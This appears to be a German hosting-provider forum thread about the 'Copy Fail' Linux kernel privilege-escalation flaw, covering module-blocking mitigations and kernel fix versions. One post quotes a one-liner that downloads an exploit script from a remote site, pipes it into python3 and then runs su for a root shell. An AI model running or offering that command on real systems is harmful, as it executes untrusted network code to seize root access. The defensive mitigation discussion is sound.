wir wollten euch hier nur kurz darauf aufmerksam machen, dass Ubuntu 26.04 ab sofort im SCP (unter "Images") zur Verfügung steht.
In diesem Kontext möchte ich auf folgenden externen Diskussionsfaden rund um die "Rust core-utils" verweisen: https://discourse.ubuntu.com/t/an-update-on…coreutils/80773
im SCP
Dankeschön, für das Image.
Wäre es auch möglich noch die DVD hochzuladen, dann braucht das nicht jeder machen, wo keine Image installation mag?
Hier wurde ja bereits mehrfach die Mitigation durch blockieren des Modules empfohlen - es empfiehlt sich aber vor dem `rmmod` zu prüfen ob, das Modul derzeit bereits geladen ist, und falls ja, festzustellen ob dies durch eine legitime Anwendung oder ggf. bereits maliziös passiert ist (sofern die verwendete Distribution das Modul dynamisch lädt).
Hallo m_ueberall,
Ganz so drastische Maßnahmen muss man derzeit nicht ergreifen, wenn man selbst einen Root-Zugang besitzt und eine Linux-Distribution verwendet, welche den betreffenden Code als Modul nachlädt (siehe hier und hier) :
Codesudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false' sudo rmmod algif_aead 2>/dev/null
Vielen Dank!
Ich habe es nun bei ersten Server auch ausgeführt und werde die restlichen Server nachziehen.
Das Modul zu blockieren hilft nur auf den Debian-Systemen, die Red Hat, Alma und Rocky-Systeme haben kein Modul, sondern alles fest eingebaut.
Wenn
# rmmod algif_aead
rmmod: ERROR: Module algif_aead is builtin.erscheint, dann hilft der Module disable workaround nicht, aber er schadet auch nicht.
alternativ, wenn es bei dem rechner geht, bei debian auf testing/forky hoch...
Hallo m_ueberall,
Vielen Dank!
Ich habe es nun bei ersten Server auch ausgeführt und werde die restlichen Server nachziehen.
Das artet ja in Stress aus. Nun habe ich 9 Debian (6 davon im RZ( inkl. dem Patch auf den neusten Stand (obwohl bei mir alles die Woche schon auf dem neuesten Stand war.
Und wenn schon Paranoid, dann richtig. Morgen noch die restlichen 6 Rechner (sind local und nur temporär an) ebenfalls inkl. dem Patch auf den neusten Stand bringen.
Ich habe ChatGPT gefragt wie das NetCup Rechenzentrum so aussieht.
Die Goblins sind ein finetuning fail:
Ich warte auf Forky stable - und falls was passiert hol ich mir mein backup von der Regierung.
Ich warte auf Forky stable - und falls was passiert hol ich mir mein backup von der Regierung.
Unsere Regierung kann Dir kein Backup bieten. Die sind beschäftigt mit wie gutgläubig sind Regierungsmitarbeiter bei Phishing, Trojaner und Viren.
Aktuell bei Signal. 
Und bis Forky herauskommt musst Du so lange Deine Rechner herunterfahren. 
Unsere Regierung kann Dir kein Backup bieten. Die sind beschäftigt mit wie gutgläubig sind Regierungsmitarbeiter bei Phishing, Trojaner und Viren.
Und bis Forky herauskommt musst Du so lange Deine Rechner herunterfahren.
du kommst aus ö-land, oder? sagt man das da nicht? das ist eine anspielung auf die überwachung der bürger. so nach dem motto: wenn sie eh alles mitlesen (nicht wahr ;), dann können sie mir ja schließlich auch mein backup geben. ich kannte allerdings auch männer, die mit regierung ihre frau meinten.
ich finde, bei debian kann man die nicht produktiven rechner ruhig mit testing fahren. passiert so selten was und ist dann auch schnell behoben.
ich kannte allerdings auch männer, die mit regierung ihre frau meinten.
Ich kenn die Variante Heeresleitung von einem Bekannten aber meine Frau hat natürlich das letzte Wort - I don't argue with God.
Unsere Regierung kann Dir kein Backup bieten.
Hinter der besagten Tür ist ja auch nicht unsere Regierung, sondern eine, für die Technik kein Neuland ist.
Wenn ich es richtig verstehe, wurd die luecke mit der Kernel version 6.12.85-1 gefixxt bei trixie. Ich danke euch trotzdem fuer eure Infos, sonst waere das komplett an mir vorbeigegangen.
https://security-tracker.debian.org/tracker/CVE-2026-31431
Screenshot 2026-04-30 223702.png
Korrigiert mich gerne wenn ich etwas falsches erzaehle 
Hinter der besagten Tür ist ja auch nicht unsere Regierung, sondern eine, für die Technik kein Neuland ist.
Danke für die Aufklärung der besagten Tür.
Die entsprechenden Copy-Fail-Statusseiten bei Ubuntu (Blogbeitrag, CVE-Datenbankeintrag) sind derzeit übrigens nur via Wayback-Machine einsehbar: Blogbeitrag, CVE-Dantenbankeintrag… 
EDIT: Laut https://status.canonical.com/ dauert der Ausfall mittlerweile 13,5 Stunden an; angeblich hat zwischenzeitlich eine irakische Aktivistengruppe behauptet, hinter einem DDOS-Angriff der Infrastruktur zu stecken.
Wenn ich es richtig verstehe, wurd die luecke mit der Kernel version 6.12.85-1 gefixxt bei trixie. Ich danke euch trotzdem fuer eure Infos, sonst waere das komplett an mir vorbeigegangen.
https://security-tracker.debian.org/tracker/CVE-2026-31431
Screenshot 2026-04-30 223702.png
Korrigiert mich gerne wenn ich etwas falsches erzaehle
ja ist richtig. gerade getestet. bei 6.12.74 bekommst du mit
url https://copy.fail/exp | python3 && suohne passwortnachfrage eine root shell.
nach securityupdate mit kernel-image 6.12.85-1 funktioniert das nicht mehr.
also los! bootparty...
Hallo, ich bin ein ARM-VPS-Nutzer in Manassas und bin damit zufrieden, aber ich frage mich, ob ich dedizierte ARM-Instanzen erwerben kann. Entschuldigung, falls das seltsam klingt – ich kann kein Deutsch und verwende eine Übersetzungssoftware.
Hallo, ich bin ein ARM-VPS-Nutzer in Manassas und bin damit zufrieden, aber ich frage mich, ob ich dedizierte ARM-Instanzen erwerben kann. Entschuldigung, falls das seltsam klingt – ich kann kein Deutsch und verwende eine Übersetzungssoftware.
You are not alone in this wish; unfortunately, Netcup don't currently offer dedicated "RS" instances. (The translation software works perfectly, by the way. )
